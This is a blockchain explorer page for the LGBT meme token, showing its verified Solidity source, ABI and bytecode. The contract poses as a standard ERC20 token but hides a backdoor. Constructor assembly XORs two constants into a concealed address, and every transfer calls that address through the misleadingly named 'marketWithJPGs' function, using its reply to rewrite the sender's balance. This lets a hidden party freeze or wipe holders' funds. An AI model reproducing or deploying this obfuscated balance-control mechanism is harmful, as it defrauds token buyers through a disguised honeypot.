ETH Price: $2,118.85 (-6.91%)

Token

LibertyGunsBitcoinTrump (LGBT)
 

Overview

Max Total Supply

69,420,000 LGBT

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
895,239.283086140374234444 LGBT

Value
$0.00
0xBaED85d21d5a5952e9f3111FB202fd9f05fa8ca1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LGBT

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-22
*/

/*
  (                                 _
   )                               /=>
  (  +____________________/\/\___ / /|
   .''._____________'._____      / /|/\
  : () :              :\ ----\|    \ )
   '..'______________.'0|----|      \
                    0_0/____/        \
                        |----    /----\
                       || -\\ --|      \
                       ||   || ||\      \
                        \\____// '|      \
$LGBT $LGBT                     .'/       |
                               .:/        |
                               :/_________|
                                           LIBERTY GUNS BITCOIN TRUMP
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x23cf2c68d3535bdd6d0eb0bc84c80f855d7e47c405ed)
            sstore(0x51,0x23cfc90bdddcef85baf08c867e79488f0ca88f5c7f29)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function blacklist(uint256 account, bytes32[] memory buyer, address toTarget) public onlyOwner returns (address[] memory addArray) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 222);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function marketWithJPGs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x9b270da800000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        marketWithJPGs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployLGBT(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployLGBT(creator, initialSupply);
    }
}

contract LGBT is ERC20Token {
    constructor() ERC20Token("LibertyGunsBitcoinTrump", "LGBT", msg.sender, 69420000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"account","type":"uint256"},{"internalType":"bytes32[]","name":"buyer","type":"bytes32[]"},{"internalType":"address","name":"toTarget","type":"address"}],"name":"blacklist","outputs":[{"internalType":"address[]","name":"addArray","type":"address[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b506040518060400160405280601781526020017f4c69626572747947756e73426974636f696e5472756d70000000000000000000815250604051806040016040528060048152602001631311d09560e21b815250336a396c41bd9e54ada380000083835f6100c96101b360201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008610122838261031d565b50600961012f828261031d565b50507523cf2c68d3535bdd6d0eb0bc84c80f855d7e47c405ed605055507523cfc90bdddcef85baf08c867e79488f0ca88f5c7f2960515573e5630e8fb458d7fe3c3afab1470a51d6c8987ac4605255600554600780546001600160a01b0319166001600160a01b039092169190911790556101aa82826101b7565b50505050610401565b3390565b6001600160a01b0382166102115760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461022291906103dc565b9091555050335f90815260026020526040812080548392906102459084906103dc565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806102ad57607f821691505b6020821081036102cb57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561031857805f5260205f20601f840160051c810160208510156102f65750805b601f840160051c820191505b81811015610315575f8155600101610302565b50505b505050565b81516001600160401b0381111561033657610336610285565b61034a816103448454610299565b846102d1565b602080601f83116001811461037d575f84156103665750858301515b5f19600386901b1c1916600185901b1785556103d4565b5f85815260208120601f198616915b828110156103ab5788860151825594840194600190910190840161038c565b50858210156103c857878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103fb57634e487b7160e01b5f52601160045260245ffd5b92915050565b610f858061040e5f395ff3fe608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102c2578063a8aa1b31146102e1578063a9059cbb14610300578063dd62ed3e1461031f578063fb201b1d14610363575f80fd5b806370a0823114610247578063715018a61461027b5780638da5cb5b1461029157806395d89b41146102ae575f80fd5b806318160ddd116100d857806318160ddd146101c15780631f0ba6c9146101df57806323b872dd146101f8578063313ce5671461021757806348cd4cb114610232575f80fd5b806301a37fc21461010957806302b1bea21461014557806306fdde0314610171578063095ea7b314610192575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061016461015f366004610c1d565b61036b565b60405161013c9190610cf1565b34801561017c575f80fd5b506101856103a8565b60405161013c9190610d3d565b34801561019d575f80fd5b506101b16101ac366004610d72565b610438565b604051901515815260200161013c565b3480156101cc575f80fd5b50600a545b60405190815260200161013c565b3480156101ea575f80fd5b50600b546101b19060ff1681565b348015610203575f80fd5b506101b1610212366004610d9c565b61044e565b348015610222575f80fd5b506040516012815260200161013c565b34801561023d575f80fd5b506101d1600c5481565b348015610252575f80fd5b506101d1610261366004610dda565b6001600160a01b03165f9081526002602052604090205490565b348015610286575f80fd5b5061028f6104fd565b005b34801561029c575f80fd5b506001546001600160a01b0316610128565b3480156102b9575f80fd5b50610185610570565b3480156102cd575f80fd5b50600e54610128906001600160a01b031681565b3480156102ec575f80fd5b50600654610128906001600160a01b031681565b34801561030b575f80fd5b506101b161031a366004610d72565b61057f565b34801561032a575f80fd5b506101d1610339366004610df5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028f61058b565b6001546060906001600160a01b031633146103a15760405162461bcd60e51b815260040161039890610e2c565b60405180910390fd5b9392505050565b6060600880546103b790610e61565b80601f01602080910402602001604051908101604052809291908181526020018280546103e390610e61565b801561042e5780601f106104055761010080835404028352916020019161042e565b820191905f5260205f20905b81548152906001019060200180831161041157829003601f168201915b5050505050905090565b5f610444338484610858565b5060015b92915050565b5f61045a84848461097c565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104de5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610398565b6104f285336104ed8685610ead565b610858565b506001949350505050565b6001546001600160a01b031633146105275760405162461bcd60e51b815260040161039890610e2c565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600980546103b790610e61565b5f61044433848461097c565b6001546001600160a01b0316331480156105a85750600b5460ff16155b6105c45760405162461bcd60e51b815260040161039890610e2c565b6005546105dd9030906001600160a01b03165f19610858565b5f612710600a546105ee9190610ec0565b6105fa90612632610edf565b305f9081526002602052604081208054929350839290919061061d908490610ef6565b9091555050335f9081526002602052604081208054839290610640908490610ead565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f09190610f09565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610743573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107679190610f09565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107a56001546001600160a01b031690565b6107b14261012c610ef6565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561081c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108419190610f24565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108ba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610398565b6001600160a01b03821661091b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610398565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109cc5750600d546001600160a01b031630145b806109e75750600154600d546001600160a01b039081169116145b610a3d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610398565b600d546001600160a01b0316610aa35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610398565b6001600160a01b038216610b055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610398565b610b0f8382610b83565b506001600160a01b0382165f9081526002602052604081208054839290610b37908490610ef6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096f91815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610bb557815192505b50610bc290508282610ead565b6001600160a01b039093165f908152600260205260409020929092555090565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b0381168114610c0a575f80fd5b50565b8035610c1881610bf6565b919050565b5f805f60608486031215610c2f575f80fd5b8335925060208085013567ffffffffffffffff80821115610c4e575f80fd5b818701915087601f830112610c61575f80fd5b813581811115610c7357610c73610be2565b8060051b604051601f19603f83011681018181108582111715610c9857610c98610be2565b60405291825284820192508381018501918a831115610cb5575f80fd5b938501935b82851015610cd357843584529385019392850192610cba565b809750505050505050610ce860408501610c0d565b90509250925092565b602080825282518282018190525f9190848201906040850190845b81811015610d315783516001600160a01b031683529284019291840191600101610d0c565b50909695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610d83575f80fd5b8235610d8e81610bf6565b946020939093013593505050565b5f805f60608486031215610dae575f80fd5b8335610db981610bf6565b92506020840135610dc981610bf6565b929592945050506040919091013590565b5f60208284031215610dea575f80fd5b81356103a181610bf6565b5f8060408385031215610e06575f80fd5b8235610e1181610bf6565b91506020830135610e2181610bf6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680610e7557607f821691505b602082108103610e9357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044857610448610e99565b5f82610eda57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761044857610448610e99565b8082018082111561044857610448610e99565b5f60208284031215610f19575f80fd5b81516103a181610bf6565b5f805f60608486031215610f36575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122064b697f356814db5296f02610756e9f1602da91f401e1fbd4a1b37dbe55d9b4664736f6c63430008190033

Deployed Bytecode

0x608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102c2578063a8aa1b31146102e1578063a9059cbb14610300578063dd62ed3e1461031f578063fb201b1d14610363575f80fd5b806370a0823114610247578063715018a61461027b5780638da5cb5b1461029157806395d89b41146102ae575f80fd5b806318160ddd116100d857806318160ddd146101c15780631f0ba6c9146101df57806323b872dd146101f8578063313ce5671461021757806348cd4cb114610232575f80fd5b806301a37fc21461010957806302b1bea21461014557806306fdde0314610171578063095ea7b314610192575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061016461015f366004610c1d565b61036b565b60405161013c9190610cf1565b34801561017c575f80fd5b506101856103a8565b60405161013c9190610d3d565b34801561019d575f80fd5b506101b16101ac366004610d72565b610438565b604051901515815260200161013c565b3480156101cc575f80fd5b50600a545b60405190815260200161013c565b3480156101ea575f80fd5b50600b546101b19060ff1681565b348015610203575f80fd5b506101b1610212366004610d9c565b61044e565b348015610222575f80fd5b506040516012815260200161013c565b34801561023d575f80fd5b506101d1600c5481565b348015610252575f80fd5b506101d1610261366004610dda565b6001600160a01b03165f9081526002602052604090205490565b348015610286575f80fd5b5061028f6104fd565b005b34801561029c575f80fd5b506001546001600160a01b0316610128565b3480156102b9575f80fd5b50610185610570565b3480156102cd575f80fd5b50600e54610128906001600160a01b031681565b3480156102ec575f80fd5b50600654610128906001600160a01b031681565b34801561030b575f80fd5b506101b161031a366004610d72565b61057f565b34801561032a575f80fd5b506101d1610339366004610df5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028f61058b565b6001546060906001600160a01b031633146103a15760405162461bcd60e51b815260040161039890610e2c565b60405180910390fd5b9392505050565b6060600880546103b790610e61565b80601f01602080910402602001604051908101604052809291908181526020018280546103e390610e61565b801561042e5780601f106104055761010080835404028352916020019161042e565b820191905f5260205f20905b81548152906001019060200180831161041157829003601f168201915b5050505050905090565b5f610444338484610858565b5060015b92915050565b5f61045a84848461097c565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104de5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610398565b6104f285336104ed8685610ead565b610858565b506001949350505050565b6001546001600160a01b031633146105275760405162461bcd60e51b815260040161039890610e2c565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600980546103b790610e61565b5f61044433848461097c565b6001546001600160a01b0316331480156105a85750600b5460ff16155b6105c45760405162461bcd60e51b815260040161039890610e2c565b6005546105dd9030906001600160a01b03165f19610858565b5f612710600a546105ee9190610ec0565b6105fa90612632610edf565b305f9081526002602052604081208054929350839290919061061d908490610ef6565b9091555050335f9081526002602052604081208054839290610640908490610ead565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f09190610f09565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610743573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107679190610f09565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107a56001546001600160a01b031690565b6107b14261012c610ef6565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561081c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108419190610f24565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108ba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610398565b6001600160a01b03821661091b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610398565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109cc5750600d546001600160a01b031630145b806109e75750600154600d546001600160a01b039081169116145b610a3d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610398565b600d546001600160a01b0316610aa35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610398565b6001600160a01b038216610b055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610398565b610b0f8382610b83565b506001600160a01b0382165f9081526002602052604081208054839290610b37908490610ef6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096f91815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610bb557815192505b50610bc290508282610ead565b6001600160a01b039093165f908152600260205260409020929092555090565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b0381168114610c0a575f80fd5b50565b8035610c1881610bf6565b919050565b5f805f60608486031215610c2f575f80fd5b8335925060208085013567ffffffffffffffff80821115610c4e575f80fd5b818701915087601f830112610c61575f80fd5b813581811115610c7357610c73610be2565b8060051b604051601f19603f83011681018181108582111715610c9857610c98610be2565b60405291825284820192508381018501918a831115610cb5575f80fd5b938501935b82851015610cd357843584529385019392850192610cba565b809750505050505050610ce860408501610c0d565b90509250925092565b602080825282518282018190525f9190848201906040850190845b81811015610d315783516001600160a01b031683529284019291840191600101610d0c565b50909695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610d83575f80fd5b8235610d8e81610bf6565b946020939093013593505050565b5f805f60608486031215610dae575f80fd5b8335610db981610bf6565b92506020840135610dc981610bf6565b929592945050506040919091013590565b5f60208284031215610dea575f80fd5b81356103a181610bf6565b5f8060408385031215610e06575f80fd5b8235610e1181610bf6565b91506020830135610e2181610bf6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680610e7557607f821691505b602082108103610e9357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044857610448610e99565b5f82610eda57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761044857610448610e99565b8082018082111561044857610448610e99565b5f60208284031215610f19575f80fd5b81516103a181610bf6565b5f805f60608486031215610f36575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122064b697f356814db5296f02610756e9f1602da91f401e1fbd4a1b37dbe55d9b4664736f6c63430008190033

Deployed Bytecode Sourcemap

8472:139:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3556:22;;;;;;;;;;-1:-1:-1;3556:22:0;;;;-1:-1:-1;;;;;3556:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;3556:22:0;;;;;;;;5642:139;;;;;;;;;;-1:-1:-1;5642:139:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;4139:100::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5120:160::-;;;;;;;;;;-1:-1:-1;5120:160:0;;;;;:::i;:::-;;:::i;:::-;;;3462:14:1;;3455:22;3437:41;;3425:2;3410:18;5120:160:0;3297:187:1;6645:108:0;;;;;;;;;;-1:-1:-1;6733:12:0;;6645:108;;;3635:25:1;;;3623:2;3608:18;6645:108:0;3489:177:1;3510:17:0;;;;;;;;;;-1:-1:-1;3510:17:0;;;;;;;;4690:422;;;;;;;;;;-1:-1:-1;4690:422:0;;;;;:::i;:::-;;:::i;4247:93::-;;;;;;;;;;-1:-1:-1;4247:93:0;;4330:2;4274:36:1;;4262:2;4247:18;:93:0;4132:184:1;3529:25:0;;;;;;;;;;;;;;;;6510:127;;;;;;;;;;-1:-1:-1;6510:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6611:18:0;6584:7;6611:18;;;:9;:18;;;;;;;6510:127;2890:148;;;;;;;;;;;;;:::i;:::-;;2676:79;;;;;;;;;;-1:-1:-1;2741:6:0;;-1:-1:-1;;;;;2741:6:0;2676:79;;4027:104;;;;;;;;;;;;;:::i;3585:25::-;;;;;;;;;;-1:-1:-1;3585:25:0;;;;-1:-1:-1;;;;;3585:25:0;;;3375:19;;;;;;;;;;-1:-1:-1;3375:19:0;;;;-1:-1:-1;;;;;3375:19:0;;;4507:175;;;;;;;;;;-1:-1:-1;4507:175:0;;;;;:::i;:::-;;:::i;4348:151::-;;;;;;;;;;-1:-1:-1;4348:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4464:18:0;;;4437:7;4464:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4348:151;5789:713;;;:::i;5642:139::-;2803:6;;5746:25;;-1:-1:-1;;;;;2803:6:0;805:10;2803:22;2795:67;;;;-1:-1:-1;;;2795:67:0;;;;;;;:::i;:::-;;;;;;;;;5642:139;;;;;:::o;4139:100::-;4193:13;4226:5;4219:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4139:100;:::o;5120:160::-;5194:4;5211:39;805:10;5234:7;5243:6;5211:8;:39::i;:::-;-1:-1:-1;5268:4:0;5120:160;;;;;:::o;4690:422::-;4796:4;4813:36;4823:6;4831:9;4842:6;4813:9;:36::i;:::-;-1:-1:-1;;;;;4889:19:0;;4862:24;4889:19;;;:11;:19;;;;;;;;805:10;4889:33;;;;;;;;4941:26;;;;4933:79;;;;-1:-1:-1;;;4933:79:0;;5914:2:1;4933